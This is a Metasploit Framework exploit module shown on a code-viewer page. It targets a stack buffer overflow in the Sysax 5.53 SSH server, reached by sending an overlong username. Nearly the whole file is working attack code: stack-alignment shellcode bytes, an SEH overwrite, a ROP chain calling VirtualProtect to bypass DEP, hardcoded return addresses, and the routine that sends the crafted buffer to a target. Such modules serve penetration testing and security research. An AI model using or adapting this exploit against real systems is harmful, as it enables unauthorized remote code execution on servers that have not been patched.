Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ssh/sysax_ssh_username.rb
24494 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::SSH
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Sysax 5.53 SSH Username Buffer Overflow',
17
'Description' => %q{
18
This module exploits a vulnerability found in Sysax's SSH service. By
19
supplying a long username, the SSH server will copy that data on the stack
20
without proper bounds checking, therefore allowing remote code execution
21
under the context of the user. Please note that previous versions
22
(before 5.53) are also affected by this bug.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Craig Freyman', # Initial discovery, PoC
27
'sinn3r' # Metasploit
28
],
29
'References' => [
30
['CVE', '2012-10060'],
31
['OSVDB', '79689'],
32
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
33
['EDB', '18535']
34
],
35
'Payload' => {
36
'Space' => 1024,
37
'BadChars' => "\x00\x3a",
38
'StackAdjustment' => -3500
39
},
40
'DefaultOptions' => {
41
'EXITFUNC' => 'seh'
42
},
43
'Platform' => 'win',
44
'Targets' => [
45
[
46
'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
47
{
48
'Rop' => false,
49
'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe
50
}
51
],
52
[
53
'Sysax 5.53 on Win2K3 SP1/SP2',
54
{
55
'Rop' => true,
56
'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN
57
}
58
]
59
],
60
'Privileged' => false,
61
'DisclosureDate' => '2012-02-27',
62
'DefaultTarget' => 0,
63
'Notes' => {
64
'Reliability' => UNKNOWN_RELIABILITY,
65
'Stability' => UNKNOWN_STABILITY,
66
'SideEffects' => UNKNOWN_SIDE_EFFECTS
67
}
68
)
69
)
70
71
register_options(
72
[ OptInt.new('RPORT', [false, 'The target port', 22]) ]
73
)
74
end
75
76
def check
77
begin
78
connect
79
banner = sock.get_once(-1, 5) || ''
80
disconnect
81
vprint_status("Banner: #{banner}")
82
if banner.match?(/SSH-2\.0-SysaxSSH_1\.0/)
83
return Exploit::CheckCode::Appears
84
end
85
rescue StandardError
86
vprint_error('An error has occurred while trying to read a response from target')
87
return Exploit::CheckCode::Unknown
88
end
89
90
Exploit::CheckCode::Safe
91
end
92
93
def generate_regular_exploit
94
#
95
# Align the stack to the beginning of the fixed size payload
96
#
97
align = "\x54" # PUSH ESP
98
align << "\x58" # POP EAX
99
align << "\x04\x08" # ADD AL,0x08
100
align << "\x8b\x18" # MOV EBX, [EAX]
101
align << "\x93" # XCHG EAX,EBX
102
align << "\x66\x2d\x10\x04" # SUB AX,0x361
103
align << "\x50" # PUSH EAX
104
align << "\xc3" # RET
105
106
#
107
# Our payload limited to 1024+4 bytes
108
#
109
p = make_nops(4)
110
p << payload.encoded
111
112
#
113
# Craft the buffer like this:
114
# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
115
# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
116
# for the IP length, so the next 9404-byte space will begin at a consistent place.
117
# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
118
# partial-overwrite to allow a null byte in SEH.
119
#
120
buf = ''
121
buf << rand_text(392, payload_badchars)
122
buf << rand_text(20, payload_badchars)
123
buf << rand_text(9204 - buf.length - align.length - p.length, payload_badchars) # 8796+392+20
124
buf << p
125
buf << align
126
buf << "\xeb" + [0 - align.length - 2].pack('c') + make_nops(2) # Short jmp back
127
buf << [target.ret].pack('V*')
128
buf
129
end
130
131
def generate_rop_exploit
132
junk = rand_text(4).unpack('L')[0].to_i
133
nop = make_nops(4).unpack('L')[0].to_i
134
135
# !mona rop -m msvcrt
136
p =
137
[
138
0x77bb2563, # POP EAX # RETN
139
0x77ba1114, # <- *&VirtualProtect()
140
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
141
junk,
142
0x77bb0c86, # XCHG EAX,ESI # RETN
143
0x77bc9801, # POP EBP # RETN
144
0x77be2265, # ptr to 'push esp # ret'
145
0x77bb2563, # POP EAX # RETN
146
0x03C0990F,
147
0x77bdd441, # SUB EAX, 03c0940f
148
0x77bb48d3, # POP EBX, RET
149
0x77bf21e0, # .data
150
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
151
0x77bbfc02, # POP ECX # RETN
152
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
153
0x77bd8c04, # POP EDI # RETN
154
0x77bd8c05, # ROP NOP (-> edi)
155
0x77bb2563, # POP EAX # RETN
156
0x03c0984f,
157
0x77bdd441, # SUB EAX, 03c0940f
158
0x77bb8285, # XCHG EAX,EDX # RETN
159
0x77bb2563, # POP EAX # RETN
160
nop,
161
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
162
].pack('V*')
163
164
p << payload.encoded
165
166
#
167
# Similar buffer structure to generate_regular_exploit
168
#
169
buf = ''
170
buf << rand_text(392, payload_badchars)
171
buf << rand_text(20, payload_badchars)
172
buf << rand_text(1012, payload_badchars)
173
buf << p
174
buf << rand_text(9204 - buf.length)
175
buf << rand_text(4, payload_badchars)
176
buf << [target.ret].pack('V*')
177
buf
178
end
179
180
def exploit
181
#
182
# Create buffer based on target (DEP or no DEP)
183
# If possible, we still prefer to use the regular version because it's more stable
184
#
185
if target['Rop']
186
buf = generate_rop_exploit
187
else
188
buf = generate_regular_exploit
189
end
190
191
#
192
# Send the malicious buffer
193
#
194
pass = rand_text_alpha(8)
195
begin
196
print_status("Sending malicious request to #{rhost}:#{rport}...")
197
factory = ssh_socket_factory
198
ssh = Net::SSH.start(
199
datastore['RHOST'],
200
buf,
201
password: pass,
202
port: datastore['RPORT'],
203
timeout: 1,
204
proxy: factory,
205
config: false,
206
non_interactive: true,
207
verify_host_key: :never
208
)
209
210
::Timeout.timeout(1) { ssh.close }
211
rescue Errno::ECONNREFUSED
212
print_error("Cannot establish a connection on #{rhost}:#{rport}")
213
return
214
rescue StandardError => e
215
if e.message.match?(/fingerprint [0-9a-z:]+ does not match/)
216
print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
217
return
218
end
219
end
220
221
handler(ssh)
222
end
223
end
224
225